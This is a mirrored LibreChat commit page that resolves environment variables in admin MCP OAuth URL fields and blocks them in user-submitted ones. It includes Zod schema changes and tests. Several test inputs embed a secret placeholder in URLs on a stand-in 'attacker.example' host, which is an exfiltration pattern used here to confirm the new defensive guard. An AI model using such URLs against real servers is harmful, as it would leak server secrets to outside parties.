mirror of
https://github.com/danny-avila/LibreChat.git
synced 2026-06-25 17:06:24 +00:00
🔐 fix: Resolve Env Variables in MCP OAuth URL Fields (#13573)
* fix: resolve env variables in MCP OAuth URL fields before validation
Apply the extractEnvVariable transform to authorization_url, token_url,
redirect_uri, and revocation_endpoint in OAuthOptionsBaseSchema. Without
this, ${ENV_VAR} syntax in these fields caused a Zod URL validation error
at startup before any env substitution could happen.
The same .transform().pipe() pattern is already used on all transport url
fields (SSE, WebSocket, StreamableHTTP) and ProxyUrlSchema.
Closes #13572
* fix: block env var expansion in user OAuth URL fields
Override redirect_uri and revocation_endpoint in UserOAuthOptionsSchema
with userOAuthEndpointUrlSchema, matching the existing overrides for
authorization_url and token_url. Without this, user-submitted configs
could inherit the extractEnvVariable transform added to the base schema
and resolve env vars like ${OPENAI_API_KEY} in those fields.
Add envVarPattern rejection to userOAuthEndpointUrlSchema so that
valid-URL-shaped payloads containing ${VAR} patterns are also blocked,
not just bare non-URL strings. Move envVarPattern declaration above the
schema to make it available at module evaluation time.
Add regression tests for all four OAuth URL fields on the user path,
using structurally valid URLs with embedded ${VAR} patterns to confirm
it is the env var guard — not URL shape — that rejects them.
This commit is contained in:
parent
15ea03624d
commit
c80c54eefb
2 changed files with 188 additions and 6 deletions
|
|
@ -73,6 +73,115 @@ describe('MCP schemas', () => {
|
|||
});
|
||||
});
|
||||
|
||||
describe('OAuth URL env variable resolution (admin schema)', () => {
|
||||
const OAUTH_AUTH_URL = 'https://auth.example.com/authorize';
|
||||
const OAUTH_TOKEN_URL = 'https://auth.example.com/token';
|
||||
const OAUTH_REDIRECT_URI = 'https://app.example.com/callback';
|
||||
const OAUTH_REVOCATION_URL = 'https://auth.example.com/revoke';
|
||||
|
||||
beforeEach(() => {
|
||||
process.env.OAUTH_AUTH_URL = OAUTH_AUTH_URL;
|
||||
process.env.OAUTH_TOKEN_URL = OAUTH_TOKEN_URL;
|
||||
process.env.OAUTH_REDIRECT_URI = OAUTH_REDIRECT_URI;
|
||||
process.env.OAUTH_REVOCATION_URL = OAUTH_REVOCATION_URL;
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
delete process.env.OAUTH_AUTH_URL;
|
||||
delete process.env.OAUTH_TOKEN_URL;
|
||||
delete process.env.OAUTH_REDIRECT_URI;
|
||||
delete process.env.OAUTH_REVOCATION_URL;
|
||||
});
|
||||
|
||||
it('should resolve env vars in authorization_url and token_url', () => {
|
||||
const result = MCPOptionsSchema.safeParse({
|
||||
type: 'streamable-http',
|
||||
url: 'https://mcp-server.com/http',
|
||||
oauth: {
|
||||
authorization_url: '${OAUTH_AUTH_URL}',
|
||||
token_url: '${OAUTH_TOKEN_URL}',
|
||||
client_id: 'my-client',
|
||||
},
|
||||
});
|
||||
expect(result.success).toBe(true);
|
||||
if (result.success && result.data.oauth) {
|
||||
expect(result.data.oauth.authorization_url).toBe(OAUTH_AUTH_URL);
|
||||
expect(result.data.oauth.token_url).toBe(OAUTH_TOKEN_URL);
|
||||
}
|
||||
});
|
||||
|
||||
it('should resolve env vars in redirect_uri', () => {
|
||||
const result = MCPOptionsSchema.safeParse({
|
||||
type: 'sse',
|
||||
url: 'https://mcp-server.com/sse',
|
||||
oauth: {
|
||||
redirect_uri: '${OAUTH_REDIRECT_URI}',
|
||||
},
|
||||
});
|
||||
expect(result.success).toBe(true);
|
||||
if (result.success && result.data.oauth) {
|
||||
expect(result.data.oauth.redirect_uri).toBe(OAUTH_REDIRECT_URI);
|
||||
}
|
||||
});
|
||||
|
||||
it('should resolve env vars in revocation_endpoint', () => {
|
||||
const result = MCPOptionsSchema.safeParse({
|
||||
type: 'streamable-http',
|
||||
url: 'https://mcp-server.com/http',
|
||||
oauth: {
|
||||
revocation_endpoint: '${OAUTH_REVOCATION_URL}',
|
||||
},
|
||||
});
|
||||
expect(result.success).toBe(true);
|
||||
if (result.success && result.data.oauth) {
|
||||
expect(result.data.oauth.revocation_endpoint).toBe(OAUTH_REVOCATION_URL);
|
||||
}
|
||||
});
|
||||
|
||||
it('should accept plain OAuth URLs without env vars', () => {
|
||||
const result = MCPOptionsSchema.safeParse({
|
||||
type: 'streamable-http',
|
||||
url: 'https://mcp-server.com/http',
|
||||
oauth: {
|
||||
authorization_url: 'https://auth.direct.com/authorize',
|
||||
token_url: 'https://auth.direct.com/token',
|
||||
redirect_uri: 'https://app.direct.com/callback',
|
||||
revocation_endpoint: 'https://auth.direct.com/revoke',
|
||||
client_id: 'my-client',
|
||||
},
|
||||
});
|
||||
expect(result.success).toBe(true);
|
||||
});
|
||||
|
||||
it('should reject invalid URLs after env var resolution', () => {
|
||||
process.env.OAUTH_BAD_URL = 'not-a-url';
|
||||
const result = MCPOptionsSchema.safeParse({
|
||||
type: 'streamable-http',
|
||||
url: 'https://mcp-server.com/http',
|
||||
oauth: {
|
||||
authorization_url: '${OAUTH_BAD_URL}',
|
||||
},
|
||||
});
|
||||
expect(result.success).toBe(false);
|
||||
delete process.env.OAUTH_BAD_URL;
|
||||
});
|
||||
|
||||
it('should pass through undefined when OAuth URL fields are omitted', () => {
|
||||
const result = MCPOptionsSchema.safeParse({
|
||||
type: 'streamable-http',
|
||||
url: 'https://mcp-server.com/http',
|
||||
oauth: { scope: 'openid' },
|
||||
});
|
||||
expect(result.success).toBe(true);
|
||||
if (result.success && result.data.oauth) {
|
||||
expect(result.data.oauth.authorization_url).toBeUndefined();
|
||||
expect(result.data.oauth.token_url).toBeUndefined();
|
||||
expect(result.data.oauth.redirect_uri).toBeUndefined();
|
||||
expect(result.data.oauth.revocation_endpoint).toBeUndefined();
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('env variable rejection', () => {
|
||||
it('should reject SSE URLs containing env variable patterns', () => {
|
||||
const result = MCPServerUserInputSchema.safeParse({
|
||||
|
|
@ -97,6 +206,58 @@ describe('MCP schemas', () => {
|
|||
});
|
||||
expect(result.success).toBe(false);
|
||||
});
|
||||
|
||||
it('should reject OAuth authorization_url containing env variable patterns', () => {
|
||||
process.env.FAKE_SECRET = 'leaked-secret-value';
|
||||
const result = MCPServerUserInputSchema.safeParse({
|
||||
type: 'streamable-http',
|
||||
url: 'https://mcp-server.com/http',
|
||||
oauth: {
|
||||
authorization_url: 'https://attacker.example/authorize?k=${FAKE_SECRET}',
|
||||
},
|
||||
});
|
||||
expect(result.success).toBe(false);
|
||||
delete process.env.FAKE_SECRET;
|
||||
});
|
||||
|
||||
it('should reject OAuth token_url containing env variable patterns', () => {
|
||||
process.env.FAKE_SECRET = 'leaked-secret-value';
|
||||
const result = MCPServerUserInputSchema.safeParse({
|
||||
type: 'streamable-http',
|
||||
url: 'https://mcp-server.com/http',
|
||||
oauth: {
|
||||
token_url: 'https://attacker.example/token?k=${FAKE_SECRET}',
|
||||
},
|
||||
});
|
||||
expect(result.success).toBe(false);
|
||||
delete process.env.FAKE_SECRET;
|
||||
});
|
||||
|
||||
it('should reject OAuth redirect_uri containing env variable patterns', () => {
|
||||
process.env.FAKE_SECRET = 'leaked-secret-value';
|
||||
const result = MCPServerUserInputSchema.safeParse({
|
||||
type: 'streamable-http',
|
||||
url: 'https://mcp-server.com/http',
|
||||
oauth: {
|
||||
redirect_uri: 'https://attacker.example/callback?k=${FAKE_SECRET}',
|
||||
},
|
||||
});
|
||||
expect(result.success).toBe(false);
|
||||
delete process.env.FAKE_SECRET;
|
||||
});
|
||||
|
||||
it('should reject OAuth revocation_endpoint containing env variable patterns', () => {
|
||||
process.env.FAKE_SECRET = 'leaked-secret-value';
|
||||
const result = MCPServerUserInputSchema.safeParse({
|
||||
type: 'streamable-http',
|
||||
url: 'https://mcp-server.com/http',
|
||||
oauth: {
|
||||
revocation_endpoint: 'https://attacker.example/revoke?k=${FAKE_SECRET}',
|
||||
},
|
||||
});
|
||||
expect(result.success).toBe(false);
|
||||
delete process.env.FAKE_SECRET;
|
||||
});
|
||||
});
|
||||
|
||||
describe('proxy field restrictions', () => {
|
||||
|
|
|
|||
|
|
@ -30,9 +30,17 @@ const validateOAuthClientCredentials = (
|
|||
|
||||
const OAuthOptionsBaseSchema = z.object({
|
||||
/** OAuth authorization endpoint (optional - can be auto-discovered) */
|
||||
authorization_url: z.string().url().optional(),
|
||||
authorization_url: z
|
||||
.string()
|
||||
.transform((val) => extractEnvVariable(val))
|
||||
.pipe(z.string().url())
|
||||
.optional(),
|
||||
/** OAuth token endpoint (optional - can be auto-discovered) */
|
||||
token_url: z.string().url().optional(),
|
||||
token_url: z
|
||||
.string()
|
||||
.transform((val) => extractEnvVariable(val))
|
||||
.pipe(z.string().url())
|
||||
.optional(),
|
||||
/** OAuth client ID (optional - can use dynamic registration) */
|
||||
client_id: z.string().optional(),
|
||||
/** OAuth client secret (requires explicit authorization and token endpoints) */
|
||||
|
|
@ -40,7 +48,11 @@ const OAuthOptionsBaseSchema = z.object({
|
|||
/** OAuth scopes to request */
|
||||
scope: z.string().optional(),
|
||||
/** OAuth redirect URI (defaults to /api/mcp/{serverName}/oauth/callback) */
|
||||
redirect_uri: z.string().url().optional(),
|
||||
redirect_uri: z
|
||||
.string()
|
||||
.transform((val) => extractEnvVariable(val))
|
||||
.pipe(z.string().url())
|
||||
.optional(),
|
||||
/** Token exchange method */
|
||||
token_exchange_method: z.nativeEnum(TokenExchangeMethodEnum).optional(),
|
||||
/** Supported grant types (defaults to ['authorization_code', 'refresh_token']) */
|
||||
|
|
@ -91,7 +103,11 @@ const OAuthOptionsBaseSchema = z.object({
|
|||
*/
|
||||
forward_audience_on_refresh: z.boolean().optional(),
|
||||
/** OAuth revocation endpoint (optional - can be auto-discovered) */
|
||||
revocation_endpoint: z.string().url().optional(),
|
||||
revocation_endpoint: z
|
||||
.string()
|
||||
.transform((val) => extractEnvVariable(val))
|
||||
.pipe(z.string().url())
|
||||
.optional(),
|
||||
/** OAuth revocation endpoint authentication methods supported (optional - can be auto-discovered) */
|
||||
revocation_endpoint_auth_methods_supported: z.array(z.string()).optional(),
|
||||
});
|
||||
|
|
@ -99,10 +115,14 @@ const OAuthOptionsBaseSchema = z.object({
|
|||
const OAuthOptionsSchema = OAuthOptionsBaseSchema.superRefine(validateOAuthClientCredentials);
|
||||
|
||||
const BLOCKED_USER_OAUTH_ENDPOINT_PARAMS = ['audience', 'resource'] as const;
|
||||
const envVarPattern = /\$\{[^}]+\}/;
|
||||
|
||||
const userOAuthEndpointUrlSchema = z
|
||||
.string()
|
||||
.url()
|
||||
.refine((val) => !envVarPattern.test(val), {
|
||||
message: 'Environment variable references are not allowed in URLs',
|
||||
})
|
||||
.pipe(z.string().url())
|
||||
.refine(
|
||||
(value) => {
|
||||
try {
|
||||
|
|
@ -122,6 +142,8 @@ const UserOAuthOptionsSchema = OAuthOptionsBaseSchema.omit({
|
|||
.extend({
|
||||
authorization_url: userOAuthEndpointUrlSchema.optional(),
|
||||
token_url: userOAuthEndpointUrlSchema.optional(),
|
||||
redirect_uri: userOAuthEndpointUrlSchema.optional(),
|
||||
revocation_endpoint: userOAuthEndpointUrlSchema.optional(),
|
||||
audience: z.never().optional(),
|
||||
forward_audience_on_refresh: z.never().optional(),
|
||||
})
|
||||
|
|
@ -374,7 +396,6 @@ const userManagedServerFields = <T extends z.ZodObject<z.ZodRawShape>>(schema: T
|
|||
oauth: UserOAuthOptionsSchema.optional(),
|
||||
});
|
||||
|
||||
const envVarPattern = /\$\{[^}]+\}/;
|
||||
const isWsProtocol = (val: string): boolean => /^wss?:/i.test(val);
|
||||
const isHttpProtocol = (val: string): boolean => /^https?:/i.test(val);
|
||||
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue